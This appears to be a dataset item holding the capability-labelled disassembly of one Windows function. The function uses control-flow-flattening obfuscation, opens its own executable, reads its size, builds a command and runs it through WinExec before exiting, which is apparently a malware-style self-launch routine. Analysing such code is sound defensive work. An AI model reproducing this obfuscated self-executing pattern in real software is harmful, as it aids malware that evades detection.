Function at 0x433850
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa28
mov esi, esp
mov dword [esi], 0x81fa5c77
mov edi, dword [esi + 0x10]
mov eax, dword [esi]
cmp eax, 0x216f6112
jg 0x4338ae
cmp eax, 0xe95f12ed
jle 0x433903
cmp eax, 0xacde223
jle 0x4339a9
cmp eax, 0xacde224
je 0x433a43
cmp eax, 0x1bccc98a
je 0x433a90
cmp eax, 0x20baa0c4
jne 0x43386a
mov dword [esi], 0x9e2a8d5b
jmp 0x43386a
cmp eax, 0x4162420d
jle 0x433945
cmp eax, 0x686a1596
jg 0x4339ca
cmp eax, 0x4162420e
je 0x433aa3
cmp eax, 0x4443c68a
je 0x433aae
cmp eax, 0x4d75da69
jne 0x43386a
imul edi, edi, 0x96
add edi, 0x1b8a
mov eax, 0xe67b9927
cmp edi, 0x72
jae 0x4338fc
mov eax, 0x81fa5c77
mov dword [esi], eax
jmp 0x43386a
cmp eax, 0x9f55d048
jle 0x4339eb
cmp eax, 0x9f55d049
je 0x433ac8
cmp eax, 0xb9cab840
je 0x433ad6
cmp eax, 0xe67b9927
jne 0x43386a
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esi + 0x18], eax
mov dword [esi], 0x4443c68a
jmp 0x43386a
cmp eax, 0x2af00f3b
jle 0x433a0c
cmp eax, 0x2af00f3c
je 0x433ae7
cmp eax, 0x2ca1adc8
je 0x433b1d
cmp eax, 0x3cf3a764
jne 0x43386a
push 0x200
lea ebx, [esi + 0x20]
push ebx
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
push eax
push eax
push 3
push eax
push 7
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 8]
mov dword [esi], 0x4162420e
jmp 0x43386a
cmp eax, 0xe95f12ee
je 0x433ba3
cmp eax, 0x4774cb5
jne 0x433bae
mov dword [esi], 0xe67b9927
jmp 0x43386a
cmp eax, 0x686a1597
je 0x433b58
cmp eax, 0x744fc4ce
jne 0x433bbb
mov dword [esi], 0xacde224
jmp 0x43386a
cmp eax, 0x81fa5c77
je 0x433b71
cmp eax, 0x9e2a8d5b
jne 0x43386a
mov dword [esi], 0x4774cb5
jmp 0x43386a
cmp eax, 0x216f6113
je 0x433b91
cmp eax, 0x27a97148
jne 0x43386a
mov eax, dword [esi + 4]
shr eax, 3
and eax, 0x3ffff8
imul eax, eax, 0x3c
add eax, 0xd20
mov dword [esi + 4], eax
mov dword [esi], 0x9f55d049
jmp 0x43386a
push eax
sub esp, 0x64
mov ebx, esp
mov byte [ebx + 0x67], 0
mov eax, 0x67
push eax
push 0x471430
push ebx
call fcn.00443950
add esp, 0xc
push 6
push 0x471497
mov eax, 0x67
push eax
push ebx
call fcn.00433c10
add esp, 0x10
push 0x68
push ebx
push dword [esi + 0xc]
call fcn.00443950
add esp, 0xc
mov dword [esi], 0x1bccc98a
jmp 0x43386a
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov dword [esi + 0x1c], eax
mov dword [esi], 0x686a1597
jmp 0x43386a
mov dword [esi], 0x2af00f3c
jmp 0x43386a
imul eax, dword [esi + 4], 0xa10
add eax, 0xffffff42
mov dword [esi + 4], eax
mov dword [esi], 0xe95f12ee
jmp 0x43386a
mov eax, dword [esi + 0xc]
mov dword [esi], 0x744fc4ce
jmp 0x43386a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esi], 0x27a97148
jmp 0x43386a
push dword [esi + 8]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esi + 8]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
add ecx, 0xffffffff
adc eax, 0xffffffff
mov edx, dword [esi + 8]
mov dword [edx], ecx
mov dword [edx + 4], eax
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0xb9cab840
jmp 0x43386a
shr edi, 7
and edi, 0x1fffff
imul eax, edi, 0xcc
shr eax, 0xb
imul edi, eax, 0x8a
push 0x1f26
push edi
push 0x5e7d
push 0x538a
call fcn.00433c10
add esp, 0x10
mov dword [esi], 0x81fa5c77
jmp 0x43386a
mov eax, dword [esi + 4]
shl eax, 8
and eax, 0xffc00000
mov dword [esi + 4], eax
mov dword [esi], 0xf402c2cf
jmp 0x43386a
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 8], eax
push eax
sub esp, 0x64
mov eax, esp
mov dword [esi + 0xc], eax
mov dword [esi], 0x20baa0c4
jmp 0x43386a
imul eax, edi, 0xe5
shr eax, 0xf
imul edi, eax, 0x8a
shr edi, 0x14
mov dword [esi], 0x3cf3a764
jmp 0x43386a
cmp eax, 0xf402c2cf
jne 0x43386a
jmp 0x433bd4
cmp eax, 0x7301b97c
jne 0x43386a
shl edi, 0xe
add edi, 0xffffff89
mov dword [esi + 0x10], edi
call fcn.00433850
mov dword [esi + 0x10], edi
lea edi, [esi + 0x220]
lea eax, [esi + 0x20]
push eax
push eax
push dword [esi + 0x1c]
push dword [esi + 0xc]
push 0x800
push edi
call fcn.00426156
add esp, 0x18
xor ebx, ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]